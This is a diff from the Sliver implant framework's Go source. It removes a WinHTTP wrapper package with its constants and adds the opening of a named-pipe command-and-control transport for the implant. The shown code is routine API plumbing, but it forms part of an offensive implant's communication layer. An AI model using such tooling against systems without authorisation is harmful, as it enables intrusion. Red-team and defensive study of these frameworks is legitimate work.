WINHTTP_AUTOPROXY_SORT_RESULTS = 0x00400000
|
||||
|
||||
WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
|
||||
WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002
|
||||
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
|
||||
WINHTTP_ACCESS_TYPE_NO_PROXY = 1
|
||||
WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
|
||||
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY = 4
|
||||
|
||||
WINHTTP_NO_PROXY_NAME = 0
|
||||
WINHTTP_NO_PROXY_BYPASS = 0
|
||||
|
||||
WINHTTP_NO_ADDITIONAL_HEADERS = 0
|
||||
WINHTTP_NO_REQUEST_DATA = 0
|
||||
|
||||
WINHTTP_QUERY_MIME_VERSION = 0
|
||||
WINHTTP_QUERY_CONTENT_TYPE = 1
|
||||
WINHTTP_QUERY_CONTENT_TRANSFER_ENCODING = 2
|
||||
WINHTTP_QUERY_CONTENT_ID = 3
|
||||
WINHTTP_QUERY_CONTENT_DESCRIPTION = 4
|
||||
WINHTTP_QUERY_CONTENT_LENGTH = 5
|
||||
WINHTTP_QUERY_CONTENT_LANGUAGE = 6
|
||||
WINHTTP_QUERY_ALLOW = 7
|
||||
WINHTTP_QUERY_PUBLIC = 8
|
||||
WINHTTP_QUERY_DATE = 9
|
||||
WINHTTP_QUERY_EXPIRES = 10
|
||||
WINHTTP_QUERY_LAST_MODIFIED = 11
|
||||
WINHTTP_QUERY_MESSAGE_ID = 12
|
||||
WINHTTP_QUERY_URI = 13
|
||||
WINHTTP_QUERY_DERIVED_FROM = 14
|
||||
WINHTTP_QUERY_COST = 15
|
||||
WINHTTP_QUERY_LINK = 16
|
||||
WINHTTP_QUERY_PRAGMA = 17
|
||||
WINHTTP_QUERY_VERSION = 18 // special: part of status line
|
||||
WINHTTP_QUERY_STATUS_CODE = 19 // special: part of status line
|
||||
WINHTTP_QUERY_STATUS_TEXT = 20 // special: part of status line
|
||||
WINHTTP_QUERY_RAW_HEADERS = 21 // special: all headers as ASCIIZ
|
||||
WINHTTP_QUERY_RAW_HEADERS_CRLF = 22 // special: all headers
|
||||
WINHTTP_QUERY_CONNECTION = 23
|
||||
WINHTTP_QUERY_ACCEPT = 24
|
||||
WINHTTP_QUERY_ACCEPT_CHARSET = 25
|
||||
WINHTTP_QUERY_ACCEPT_ENCODING = 26
|
||||
WINHTTP_QUERY_ACCEPT_LANGUAGE = 27
|
||||
WINHTTP_QUERY_AUTHORIZATION = 28
|
||||
WINHTTP_QUERY_CONTENT_ENCODING = 29
|
||||
WINHTTP_QUERY_FORWARDED = 30
|
||||
WINHTTP_QUERY_FROM = 31
|
||||
WINHTTP_QUERY_IF_MODIFIED_SINCE = 32
|
||||
WINHTTP_QUERY_LOCATION = 33
|
||||
WINHTTP_QUERY_ORIG_URI = 34
|
||||
WINHTTP_QUERY_REFERER = 35
|
||||
WINHTTP_QUERY_RETRY_AFTER = 36
|
||||
WINHTTP_QUERY_SERVER = 37
|
||||
WINHTTP_QUERY_TITLE = 38
|
||||
WINHTTP_QUERY_USER_AGENT = 39
|
||||
WINHTTP_QUERY_WWW_AUTHENTICATE = 40
|
||||
WINHTTP_QUERY_PROXY_AUTHENTICATE = 41
|
||||
WINHTTP_QUERY_ACCEPT_RANGES = 42
|
||||
WINHTTP_QUERY_SET_COOKIE = 43
|
||||
WINHTTP_QUERY_COOKIE = 44
|
||||
WINHTTP_QUERY_REQUEST_METHOD = 45 // special: GET/POST etc.
|
||||
WINHTTP_QUERY_REFRESH = 46
|
||||
WINHTTP_QUERY_CONTENT_DISPOSITION = 47
|
||||
|
||||
//
|
||||
// HTTP 1.1 defined headers
|
||||
//
|
||||
|
||||
WINHTTP_QUERY_AGE = 48
|
||||
WINHTTP_QUERY_CACHE_CONTROL = 49
|
||||
WINHTTP_QUERY_CONTENT_BASE = 50
|
||||
WINHTTP_QUERY_CONTENT_LOCATION = 51
|
||||
WINHTTP_QUERY_CONTENT_MD5 = 52
|
||||
WINHTTP_QUERY_CONTENT_RANGE = 53
|
||||
WINHTTP_QUERY_ETAG = 54
|
||||
WINHTTP_QUERY_HOST = 55
|
||||
WINHTTP_QUERY_IF_MATCH = 56
|
||||
WINHTTP_QUERY_IF_NONE_MATCH = 57
|
||||
WINHTTP_QUERY_IF_RANGE = 58
|
||||
WINHTTP_QUERY_IF_UNMODIFIED_SINCE = 59
|
||||
WINHTTP_QUERY_MAX_FORWARDS = 60
|
||||
WINHTTP_QUERY_PROXY_AUTHORIZATION = 61
|
||||
WINHTTP_QUERY_RANGE = 62
|
||||
WINHTTP_QUERY_TRANSFER_ENCODING = 63
|
||||
WINHTTP_QUERY_UPGRADE = 64
|
||||
WINHTTP_QUERY_VARY = 65
|
||||
WINHTTP_QUERY_VIA = 66
|
||||
WINHTTP_QUERY_WARNING = 67
|
||||
WINHTTP_QUERY_EXPECT = 68
|
||||
WINHTTP_QUERY_PROXY_CONNECTION = 69
|
||||
WINHTTP_QUERY_UNLESS_MODIFIED_SINCE = 70
|
||||
|
||||
WINHTTP_HEADER_NAME_BY_INDEX = ""
|
||||
WINHTTP_NO_OUTPUT_BUFFER = 0
|
||||
WINHTTP_NO_HEADER_INDEX = 0
|
||||
|
||||
WINHTTP_OPTION_CALLBACK = 1
|
||||
WINHTTP_OPTION_RESOLVE_TIMEOUT = 2
|
||||
WINHTTP_OPTION_CONNECT_TIMEOUT = 3
|
||||
WINHTTP_OPTION_CONNECT_RETRIES = 4
|
||||
WINHTTP_OPTION_SEND_TIMEOUT = 5
|
||||
WINHTTP_OPTION_RECEIVE_TIMEOUT = 6
|
||||
WINHTTP_OPTION_RECEIVE_RESPONSE_TIMEOUT = 7
|
||||
WINHTTP_OPTION_HANDLE_TYPE = 9
|
||||
WINHTTP_OPTION_READ_BUFFER_SIZE = 12
|
||||
WINHTTP_OPTION_WRITE_BUFFER_SIZE = 13
|
||||
WINHTTP_OPTION_PARENT_HANDLE = 21
|
||||
WINHTTP_OPTION_EXTENDED_ERROR = 24
|
||||
WINHTTP_OPTION_SECURITY_FLAGS = 31
|
||||
WINHTTP_OPTION_SECURITY_CERTIFICATE_STRUCT = 32
|
||||
WINHTTP_OPTION_URL = 34
|
||||
WINHTTP_OPTION_SECURITY_KEY_BITNESS = 36
|
||||
WINHTTP_OPTION_PROXY = 38
|
||||
WINHTTP_OPTION_USER_AGENT = 41
|
||||
WINHTTP_OPTION_CONTEXT_VALUE = 45
|
||||
WINHTTP_OPTION_CLIENT_CERT_CONTEXT = 47
|
||||
WINHTTP_OPTION_REQUEST_PRIORITY = 58
|
||||
WINHTTP_OPTION_HTTP_VERSION = 59
|
||||
WINHTTP_OPTION_DISABLE_FEATURE = 63
|
||||
WINHTTP_OPTION_CODEPAGE = 68
|
||||
WINHTTP_OPTION_MAX_CONNS_PER_SERVER = 73
|
||||
WINHTTP_OPTION_MAX_CONNS_PER_1_0_SERVER = 74
|
||||
WINHTTP_OPTION_AUTOLOGON_POLICY = 77
|
||||
WINHTTP_OPTION_SERVER_CERT_CONTEXT = 78
|
||||
WINHTTP_OPTION_ENABLE_FEATURE = 79
|
||||
WINHTTP_OPTION_WORKER_THREAD_COUNT = 80
|
||||
WINHTTP_OPTION_PASSPORT_COBRANDING_TEXT = 81
|
||||
WINHTTP_OPTION_PASSPORT_COBRANDING_URL = 82
|
||||
WINHTTP_OPTION_CONFIGURE_PASSPORT_AUTH = 83
|
||||
WINHTTP_OPTION_SECURE_PROTOCOLS = 84
|
||||
WINHTTP_OPTION_ENABLETRACING = 85
|
||||
WINHTTP_OPTION_PASSPORT_SIGN_OUT = 86
|
||||
WINHTTP_OPTION_PASSPORT_RETURN_URL = 87
|
||||
WINHTTP_OPTION_REDIRECT_POLICY = 88
|
||||
WINHTTP_OPTION_MAX_HTTP_AUTOMATIC_REDIRECTS = 89
|
||||
WINHTTP_OPTION_MAX_HTTP_STATUS_CONTINUE = 90
|
||||
WINHTTP_OPTION_MAX_RESPONSE_HEADER_SIZE = 91
|
||||
WINHTTP_OPTION_MAX_RESPONSE_DRAIN_SIZE = 92
|
||||
WINHTTP_OPTION_CONNECTION_INFO = 93
|
||||
WINHTTP_OPTION_CLIENT_CERT_ISSUER_LIST = 94
|
||||
WINHTTP_OPTION_SPN = 96
|
||||
WINHTTP_OPTION_GLOBAL_PROXY_CREDS = 97
|
||||
WINHTTP_OPTION_GLOBAL_SERVER_CREDS = 98
|
||||
WINHTTP_OPTION_UNLOAD_NOTIFY_EVENT = 99
|
||||
WINHTTP_OPTION_REJECT_USERPWD_IN_URL = 100
|
||||
WINHTTP_OPTION_USE_GLOBAL_SERVER_CREDENTIALS = 101
|
||||
WINHTTP_LAST_OPTION = WINHTTP_OPTION_USE_GLOBAL_SERVER_CREDENTIALS
|
||||
WINHTTP_OPTION_USERNAME = 0x1000
|
||||
WINHTTP_OPTION_PASSWORD = 0x1001
|
||||
WINHTTP_OPTION_PROXY_USERNAME = 0x1002
|
||||
WINHTTP_OPTION_PROXY_PASSWORD = 0x1003
|
||||
WINHTTP_ADDREQ_INDEX_MASK = 0x0000FFFF
|
||||
WINHTTP_ADDREQ_FLAGS_MASK = 0xFFFF0000
|
||||
WINHTTP_ADDREQ_FLAG_ADD_IF_NEW = 0x10000000
|
||||
WINHTTP_ADDREQ_FLAG_ADD = 0x20000000
|
||||
WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA = 0x40000000
|
||||
WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON = 0x01000000
|
||||
WINHTTP_ADDREQ_FLAG_COALESCE = WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA
|
||||
WINHTTP_ADDREQ_FLAG_REPLACE = 0x80000000
|
||||
|
||||
WINHTTP_CALLBACK_STATUS_RESOLVING_NAME = 0x00000001
|
||||
WINHTTP_CALLBACK_STATUS_NAME_RESOLVED = 0x00000002
|
||||
WINHTTP_CALLBACK_STATUS_CONNECTING_TO_SERVER = 0x00000004
|
||||
WINHTTP_CALLBACK_STATUS_CONNECTED_TO_SERVER = 0x00000008
|
||||
WINHTTP_CALLBACK_STATUS_SENDING_REQUEST = 0x00000010
|
||||
WINHTTP_CALLBACK_STATUS_REQUEST_SENT = 0x00000020
|
||||
WINHTTP_CALLBACK_STATUS_RECEIVING_RESPONSE = 0x00000040
|
||||
WINHTTP_CALLBACK_STATUS_RESPONSE_RECEIVED = 0x00000080
|
||||
WINHTTP_CALLBACK_STATUS_CLOSING_CONNECTION = 0x00000100
|
||||
WINHTTP_CALLBACK_STATUS_CONNECTION_CLOSED = 0x00000200
|
||||
WINHTTP_CALLBACK_STATUS_HANDLE_CREATED = 0x00000400
|
||||
WINHTTP_CALLBACK_STATUS_HANDLE_CLOSING = 0x00000800
|
||||
WINHTTP_CALLBACK_STATUS_DETECTING_PROXY = 0x00001000
|
||||
WINHTTP_CALLBACK_STATUS_REDIRECT = 0x00004000
|
||||
WINHTTP_CALLBACK_STATUS_INTERMEDIATE_RESPONSE = 0x00008000
|
||||
WINHTTP_CALLBACK_STATUS_SECURE_FAILURE = 0x00010000
|
||||
WINHTTP_CALLBACK_STATUS_HEADERS_AVAILABLE = 0x00020000
|
||||
WINHTTP_CALLBACK_STATUS_DATA_AVAILABLE = 0x00040000
|
||||
WINHTTP_CALLBACK_STATUS_READ_COMPLETE = 0x00080000
|
||||
WINHTTP_CALLBACK_STATUS_WRITE_COMPLETE = 0x00100000
|
||||
WINHTTP_CALLBACK_STATUS_REQUEST_ERROR = 0x00200000
|
||||
WINHTTP_CALLBACK_STATUS_SENDREQUEST_COMPLETE = 0x00400000
|
||||
WINHTTP_CALLBACK_FLAG_RESOLVE_NAME = WINHTTP_CALLBACK_STATUS_RESOLVING_NAME | WINHTTP_CALLBACK_STATUS_NAME_RESOLVED
|
||||
WINHTTP_CALLBACK_FLAG_CONNECT_TO_SERVER = WINHTTP_CALLBACK_STATUS_CONNECTING_TO_SERVER | WINHTTP_CALLBACK_STATUS_CONNECTED_TO_SERVER
|
||||
)
|
||||
|
||||
const (
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_CERT_REV_FAILED = 0x00000001
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CERT = 0x00000002
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_CERT_REVOKED = 0x00000004
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CA = 0x00000008
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_CERT_CN_INVALID = 0x00000010
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_CERT_DATE_INVALID = 0x00000020
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_CERT_WRONG_USAGE = 0x00000040
|
||||
WINHTTP_CALLBACK_STATUS_FLAG_SECURITY_CHANNEL_ERROR = 0x80000000
|
||||
)
|
||||
|
||||
// Constants we're missing from the Windows syscall package.
|
||||
const (
|
||||
ERROR_INVALID_PARAMETER syscall.Errno = 0x00000057
|
||||
)
|
||||
@@ -1,486 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package winhttp
|
||||
|
||||
// Package winhttp provides a Golang-ish interface to the WinHTTP
|
||||
// API. Because WinHTTP has a somewhat consistent pattern of use that
|
||||
// contrasts with what ideomatic Golang expects, there will still be
|
||||
// some rough edges (see GetOption and SetOption for examples), but
|
||||
// this package should enable someone with basic understanding of
|
||||
// WinHTTP and knowledge of Go to be able to use it to produce
|
||||
// software making use of winhttp.dll.
|
||||
//
|
||||
// Some notes:
|
||||
// - Error handling may look a little weird. As per
|
||||
// https://godoc.org/golang.org/x/sys/windows#LazyProc.Call , we
|
||||
// *must* check the primary return value to see if the error is
|
||||
// valid. To be more Golang-y, we do that here and return nil for
|
||||
// errors when we don't have an error condition.
|
||||
// - We currently do not support WinHTTP in async operation.
|
||||
// - To avoid constantly looking up procs, we cache them here in
|
||||
// private globals.
|
||||
// - To help mesh one's understanding of what's going on here against
|
||||
// MSDN documentation, we're using field and argument names from MSDN.
|
||||
// - Arguments and struct fields marked as reserved in MSDN are either
|
||||
// not present in function arguments here or not exported in struct
|
||||
// types. We have to include them in structs to preserve memory
|
||||
// layouts that Windows will expect.
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// HInternet is an internet handle given to us by WinHttp.
|
||||
type HInternet uintptr
|
||||
|
||||
var wh = windows.NewLazySystemDLL("winhttp.dll")
|
||||
var k32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
var gF = k32.NewProc("GlobalFree")
|
||||
|
||||
func globalFree(ptr *uint16) {
|
||||
if ptr != nil {
|
||||
gF.Call(uintptr(unsafe.Pointer(ptr)))
|
||||
}
|
||||
}
|
||||
|
||||
type WinHttpCurrentUserIeProxyConfig struct {
|
||||
FAutoDetect bool
|
||||
LpszAutoConfigUrl *uint16
|
||||
LpszProxy *uint16
|
||||
LpszProxyBypass *uint16
|
||||
}
|
||||
|
||||
func FreeWinHttpCurrentUserIeProxyConfig(cfg *WinHttpCurrentUserIeProxyConfig) {
|
||||
globalFree(cfg.LpszAutoConfigUrl)
|
||||
globalFree(cfg.LpszProxy)
|
||||
globalFree(cfg.LpszProxyBypass)
|
||||
}
|
||||
|
||||
type WinHttpAutoproxyOptions struct {
|
||||
DwFlags uint32
|
||||
DwAutoDetectFlags uint32
|
||||
LpszAutoConfigUrl *uint16
|
||||
lpvReserved uintptr
|
||||
dwReserved uint32
|
||||
FAutoLogonIfChallenged bool
|
||||
}
|
||||
|
||||
type WinHttpProxyInfo struct {
|
||||
DwAccessType uint32
|
||||
LpszProxy *uint16
|
||||
LpszProxyBypass *uint16
|
||||
}
|
||||
|
||||
func FreeWinHttpProxyInfo(cfg *WinHttpProxyInfo) {
|
||||
globalFree(cfg.LpszProxy)
|
||||
globalFree(cfg.LpszProxyBypass)
|
||||
}
|
||||
|
||||
var closeHandle = wh.NewProc("WinHttpCloseHandle")
|
||||
|
||||
// CloseHandle will close an hInternet handle. It is OK if the handle
|
||||
// is already NULL.
|
||||
func CloseHandle(hInternet HInternet) {
|
||||
if hInternet != 0 {
|
||||
closeHandle.Call(uintptr(hInternet))
|
||||
}
|
||||
}
|
||||
|
||||
var winHttpOpen = wh.NewProc("WinHttpOpen")
|
||||
|
||||
// Open creates a new WinHTTP Session for us.
|
||||
func Open(userAgent string, accessType uint32, proxyName string, proxyBypass string, flags uint32) (HInternet, error) {
|
||||
var pname *uint16
|
||||
var pbypass *uint16
|
||||
if proxyName != "" {
|
||||
pname = windows.StringToUTF16Ptr(proxyName)
|
||||
}
|
||||
if proxyBypass != "" {
|
||||
pbypass = windows.StringToUTF16Ptr(proxyBypass)
|
||||
}
|
||||
h, _, err := winHttpOpen.Call(
|
||||
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(userAgent))),
|
||||
uintptr(accessType),
|
||||
uintptr(unsafe.Pointer(pname)),
|
||||
uintptr(unsafe.Pointer(pbypass)),
|
||||
uintptr(flags),
|
||||
)
|
||||
|
||||
if h != 0 {
|
||||
err = nil
|
||||
}
|
||||
|
||||
return HInternet(h), err
|
||||
}
|
||||
|
||||
var queryOption = wh.NewProc("WinHttpQueryOption")
|
||||
|
||||
//go:uintptrescapes
|
||||
|
||||
// QueryOption queries an option on the specified handle.
|
||||
//
|
||||
// Note that because we don't know what type of data we'll be getting
|
||||
// via buffer, this function is tagged with a pragma to behave
|
||||
// properly when using the form uintptr(unsafe.Pointer(&obj)) in its
|
||||
// function call, similar to the wired-in compiler tricks for
|
||||
// syscall.Syscall(). See the documentation to unsafe.Pointer
|
||||
// (https://golang.org/pkg/unsafe/#Pointer) for more information.
|
||||
func QueryOption(hInternet HInternet, option uint32, buffer uintptr, bufferLength *uint32) error {
|
||||
r, _, err := queryOption.Call(
|
||||
uintptr(hInternet),
|
||||
uintptr(option),
|
||||
buffer,
|
||||
uintptr(unsafe.Pointer(bufferLength)),
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var setOption = wh.NewProc("WinHttpSetOption")
|
||||
|
||||
//go:uintptrescapes
|
||||
|
||||
// SetOption sets an option on the specified handle.
|
||||
//
|
||||
// Note that because we don't know what type of data we'll be getting
|
||||
// via buffer, this function is tagged with a pragma to behave
|
||||
// properly when using the form uintptr(unsafe.Pointer(&obj)) in its
|
||||
// function call, similar to the wired-in compiler tricks for
|
||||
// syscall.Syscall(). See the documentation to unsafe.Pointer
|
||||
// (https://golang.org/pkg/unsafe/#Pointer) for more information.
|
||||
func SetOption(
|
||||
hInternet HInternet,
|
||||
option uint32,
|
||||
buffer uintptr,
|
||||
bufferLength uintptr,
|
||||
) error {
|
||||
r, _, err := setOption.Call(
|
||||
uintptr(hInternet),
|
||||
uintptr(option),
|
||||
buffer,
|
||||
bufferLength,
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var setStatusCallback = wh.NewProc("WinHttpSetStatusCallback")
|
||||
|
||||
// SetStatusCallback sets a callback for status events from WinHTTP.
|
||||
//
|
||||
// See documentation on the callback function signature at
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/aa383917(v=vs.85).aspx
|
||||
func SetStatusCallback(
|
||||
hInternet HInternet,
|
||||
internetCallback interface{},
|
||||
notificationFlags uint32,
|
||||
) error {
|
||||
r, _, err := setStatusCallback.Call(
|
||||
uintptr(hInternet),
|
||||
syscall.NewCallback(internetCallback),
|
||||
uintptr(notificationFlags),
|
||||
0,
|
||||
)
|
||||
|
||||
// WinHttpSetStatusCallback returns a uintptr representing a
|
||||
// pointer to the previous callback or a value of -1 in the
|
||||
// case of error. For those playing along at home, we can't do
|
||||
// much with the uintptr to a function, nor can we represent
|
||||
// -1 as valid uintptr. So, we do the below to return true or
|
||||
// false for success instead.
|
||||
if r == ^uintptr(0) {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var sendRequest = wh.NewProc("WinHttpSendRequest")
|
||||
|
||||
// SendRequest sends the given hRequest across the network, with
|
||||
// optionally setting additional headers or body data.
|
||||
func SendRequest(
|
||||
hRequest HInternet,
|
||||
headers string,
|
||||
optional *byte,
|
||||
optionalLength int,
|
||||
totalLength int,
|
||||
context *uint32,
|
||||
) error {
|
||||
var r uintptr
|
||||
var err error
|
||||
if headers != "" {
|
||||
r, _, err = sendRequest.Call(
|
||||
uintptr(hRequest),
|
||||
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(headers))),
|
||||
^uintptr(0),
|
||||
uintptr(unsafe.Pointer(optional)),
|
||||
uintptr(optionalLength),
|
||||
uintptr(totalLength),
|
||||
uintptr(unsafe.Pointer(context)),
|
||||
)
|
||||
} else {
|
||||
r, _, err = sendRequest.Call(
|
||||
uintptr(hRequest),
|
||||
uintptr(WINHTTP_NO_ADDITIONAL_HEADERS),
|
||||
uintptr(0),
|
||||
uintptr(unsafe.Pointer(optional)),
|
||||
uintptr(optionalLength),
|
||||
uintptr(totalLength),
|
||||
uintptr(unsafe.Pointer(context)),
|
||||
)
|
||||
}
|
||||
|
||||
if r != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
var receiveResponse = wh.NewProc("WinHttpReceiveResponse")
|
||||
|
||||
// ReceiveResponse waits to receive the response to an HTTP request
|
||||
// sent by SendRequest.
|
||||
func ReceiveResponse(hRequest HInternet) error {
|
||||
if r, _, err := receiveResponse.Call(uintptr(hRequest), 0); r != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
var connect = wh.NewProc("WinHttpConnect")
|
||||
|
||||
// Connect creates an hConnect handle pointing to a specified server.
|
||||
func Connect(
|
||||
hSession HInternet,
|
||||
serverName string,
|
||||
port int,
|
||||
) (HInternet, error) {
|
||||
r, _, err := connect.Call(
|
||||
uintptr(hSession),
|
||||
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(serverName))),
|
||||
uintptr(port),
|
||||
0,
|
||||
)
|
||||
|
||||
if r != 0 {
|
||||
err = nil
|
||||
}
|
||||
return HInternet(r), err
|
||||
}
|
||||
|
||||
var openRequest = wh.NewProc("WinHttpOpenRequest")
|
||||
|
||||
// OpenRequest creates a new request for a given hConnect.
|
||||
func OpenRequest(
|
||||
hConnect HInternet,
|
||||
verb string,
|
||||
objectName string,
|
||||
version string,
|
||||
referrer string,
|
||||
acceptTypes []string,
|
||||
flags uint32,
|
||||
) (HInternet, error) {
|
||||
var verbptr *uint16
|
||||
if verb != "" {
|
||||
verbptr = windows.StringToUTF16Ptr(verb)
|
||||
}
|
||||
|
||||
var objptr *uint16
|
||||
if objectName != "" {
|
||||
objptr = windows.StringToUTF16Ptr(objectName)
|
||||
}
|
||||
|
||||
var verptr *uint16
|
||||
if version != "" {
|
||||
verptr = windows.StringToUTF16Ptr(version)
|
||||
}
|
||||
|
||||
var refptr *uint16
|
||||
if referrer != "" {
|
||||
refptr = windows.StringToUTF16Ptr(referrer)
|
||||
}
|
||||
|
||||
r, _, err := openRequest.Call(
|
||||
uintptr(hConnect),
|
||||
uintptr(unsafe.Pointer(verbptr)),
|
||||
uintptr(unsafe.Pointer(objptr)),
|
||||
uintptr(unsafe.Pointer(verptr)),
|
||||
uintptr(unsafe.Pointer(refptr)),
|
||||
0, // Not implementing ppwszAcceptTypes at this time.
|
||||
uintptr(flags),
|
||||
)
|
||||
|
||||
if r != 0 {
|
||||
err = nil
|
||||
}
|
||||
|
||||
return HInternet(r), err
|
||||
}
|
||||
|
||||
var addRequestHeaders = wh.NewProc("WinHttpAddRequestHeaders")
|
||||
|
||||
// AddRequestHeaders adds HTTP headers to the specified Request.
|
||||
func AddRequestHeaders(
|
||||
hRequest HInternet,
|
||||
header string,
|
||||
modifiers uint32,
|
||||
) error {
|
||||
r, _, err := addRequestHeaders.Call(
|
||||
uintptr(hRequest),
|
||||
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(header))),
|
||||
^uintptr(0),
|
||||
uintptr(modifiers),
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var queryHeaders = wh.NewProc("WinHttpQueryHeaders")
|
||||
|
||||
// QueryHeaders retreives information from the headers of the
|
||||
// specified Request.
|
||||
func QueryHeaders(
|
||||
hRequest HInternet,
|
||||
infoLevel uint32,
|
||||
name string,
|
||||
buffer *uint16,
|
||||
bufferLength *uint32,
|
||||
index *uint32,
|
||||
) error {
|
||||
var nameptr *uint16
|
||||
if name != "" {
|
||||
nameptr = windows.StringToUTF16Ptr(name)
|
||||
}
|
||||
r, _, err := queryHeaders.Call(
|
||||
uintptr(hRequest),
|
||||
uintptr(infoLevel),
|
||||
uintptr(unsafe.Pointer(nameptr)),
|
||||
uintptr(unsafe.Pointer(buffer)),
|
||||
uintptr(unsafe.Pointer(bufferLength)),
|
||||
uintptr(unsafe.Pointer(index)),
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var queryDataAvailable = wh.NewProc("WinHttpQueryDataAvailable")
|
||||
|
||||
// QueryDataAvailable returns if we have data available to read.
|
||||
func QueryDataAvailable(
|
||||
hRequest HInternet,
|
||||
) (uint, error) {
|
||||
var d uint32
|
||||
r, _, err := queryDataAvailable.Call(
|
||||
uintptr(hRequest),
|
||||
uintptr(unsafe.Pointer(&d)),
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return uint(d), nil
|
||||
}
|
||||
|
||||
var readData = wh.NewProc("WinHttpReadData")
|
||||
|
||||
// ReadData reads data from the Request into buffer.
|
||||
func ReadData(
|
||||
hRequest HInternet,
|
||||
buffer []byte,
|
||||
) (int, error) {
|
||||
if len(buffer) > 0 {
|
||||
var b uint32
|
||||
r, _, err := readData.Call(
|
||||
uintptr(hRequest),
|
||||
uintptr(unsafe.Pointer(&buffer[0])),
|
||||
uintptr(len(buffer)),
|
||||
uintptr(unsafe.Pointer(&b)),
|
||||
)
|
||||
if r != 1 {
|
||||
return 0, err
|
||||
}
|
||||
return int(b), nil
|
||||
} else {
|
||||
return 0, nil
|
||||
}
|
||||
}
|
||||
|
||||
var getProxyForUrl = wh.NewProc("WinHttpGetProxyForUrl")
|
||||
|
||||
func GetProxyForUrl(
|
||||
hSession HInternet,
|
||||
url string,
|
||||
autoProxyOptions *WinHttpAutoproxyOptions,
|
||||
) (*WinHttpProxyInfo, error) {
|
||||
|
||||
p := new(WinHttpProxyInfo)
|
||||
|
||||
r, _, err := getProxyForUrl.Call(
|
||||
uintptr(hSession),
|
||||
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(url))),
|
||||
uintptr(unsafe.Pointer(autoProxyOptions)),
|
||||
uintptr(unsafe.Pointer(p)),
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return nil, err
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
var getIEProxyConfigForCurrentUser = wh.NewProc("WinHttpGetIEProxyConfigForCurrentUser")
|
||||
|
||||
func GetIEProxyConfigForCurrentUser() (*WinHttpCurrentUserIeProxyConfig, error) {
|
||||
i := new(WinHttpCurrentUserIeProxyConfig)
|
||||
r, _, err := getIEProxyConfigForCurrentUser.Call(
|
||||
uintptr(unsafe.Pointer(i)),
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return nil, err
|
||||
}
|
||||
return i, nil
|
||||
}
|
||||
|
||||
var setTimeouts = wh.NewProc("WinHttpSetTimeouts")
|
||||
|
||||
func SetTimeouts(
|
||||
hInternet HInternet,
|
||||
resolveTimeout int,
|
||||
connectTimeout int,
|
||||
sendTimeout int,
|
||||
receiveTimeout int,
|
||||
) error {
|
||||
r, _, err := setTimeouts.Call(
|
||||
uintptr(hInternet),
|
||||
uintptr(resolveTimeout),
|
||||
uintptr(connectTimeout),
|
||||
uintptr(sendTimeout),
|
||||
uintptr(receiveTimeout),
|
||||
)
|
||||
|
||||
if r != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
//go:build windows
|
||||
|
||||
package namedpipe
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSizeNamedPipe = 1024
|
||||
writeBufSizeNamedPipe = 1024
|
||||
)
|
||||
|
||||
